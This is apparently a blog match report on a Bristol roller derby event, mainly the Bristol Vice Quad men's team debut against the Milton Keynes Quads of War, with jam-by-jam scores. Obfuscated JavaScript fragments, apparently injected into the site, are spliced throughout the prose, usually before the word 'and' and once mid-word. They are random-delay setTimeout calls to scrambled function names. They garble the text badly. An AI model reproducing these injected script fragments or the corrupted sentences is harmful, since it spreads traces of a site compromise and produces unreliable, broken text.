Bristol v Porto International Roller Derby

June 15, 2013 in Audio, Bristol, Roller Derby, South West

Bristol is a friendly city andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and is respected around the world. Bristol Roller Derby were doing their bit for international relations with the Bristol v Porto International. Porto is Bristol’s twinned town andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Harbour Harlots B team welcomed Roller Derby Porto to the WISE Campus.

All images: Suzanne Rupp

In addition, today was the first competitive outing for the Bristol Vice Quad; Bristol Roller Derby’s mens team. They would be pitted against the Milton Keynes Quads of War.

Milton Keynes took to the floor early to run through some drills, the Vice Quad looking on intently a touch on nerves vaguely visible.

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Mr Incredibrawl 183 was named captain for the Vice Quad with Lion O Yeah recruited to vice.

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The remains of another healthy roller derby crowd filed in as Red October fired up the microphone to announce the teams.

The officials performed the kit check for both mens teams andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we were underway.

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Nuke Jukem, jamming for the Quads, got off to a quick start getting 19 up on the board while the Bristol Jammer Shades of Grey was in the penalty box early.

By the 4th jam Bristol were suffering with 3 players going to the penalty box which prompted a Bristol time out.

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Milton Keynes kept the score moving while they had the player advantage. By jam 6 the score read Quads 45, Vice Quad 0.

Bristol’s first point came from K.I.A who showed some determined jamming while managing not to be penalised. Quads 70, Bristol 4.

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HTML Hell jammed for the Vice in jam 12 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and made a blistering move through the pack. Milton Keynes had a well organised defence which provided the platform for them to go on andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and score.

Bristol started to ease into the bout andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and were taking their opportunities to score, moving to 18 points to Milton Keynes’ 87. Bristol continued to have trouble with the officials andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in jam 18 were the first to have their jammer sent to the bin.

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Quads jammer Sonics Rampage showed great skills to evade the Bristol wall andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and score. Milton Keynes made it tough for the Bristol jammers to get through the pack andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and asserted their dominance with 4 minutes to go in the first period. Matt Lovin showed calm courage as he deftly made his way round to bring the score to Bristol 43, Quads of War 134.

At the end of the first period that saw 26 jams, the score stood at Bristol Vice Quad 45, Milton Keynes 144.

Second period:

K.I.A started the second period as jammer for Bristol, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and rattled through 10 points. In a reversal of the beginning of the first period it was the Quads jammer who went to the box early.

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Five jams into the second period the Quads of War were up to 155, Bristol Vice Quad 66. Jam 8 saw a scoring frenzy by K.I.A picking up 20 points as Bristol took advantage of the power play. Bristol 102, Milton Keynes 172.

HTML Hell 500 was getting help from the crowd who would scream at him to call the jam when he was Bristol’s scorer. The Quads enjoyed a power play in Jam 12 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and extended their lead to 106 points. Bristol 106, Milton Keynes 212.

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Despite a late rally, Bristol could not claw back the points difference. The final score stood at Milton Keynes Quads of War 251, Bristol Vice Quad 166. Vice Quad showed up against a quality side, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and should be pleased with what they have achieved. As team debuts go, the Vice Quad showed bags of courage andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a fair bit of talent. Despite Milton Keynes being a handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andful of bouts ahead in experience, the knew enough to outclass the Bristol Roller Derby debutants.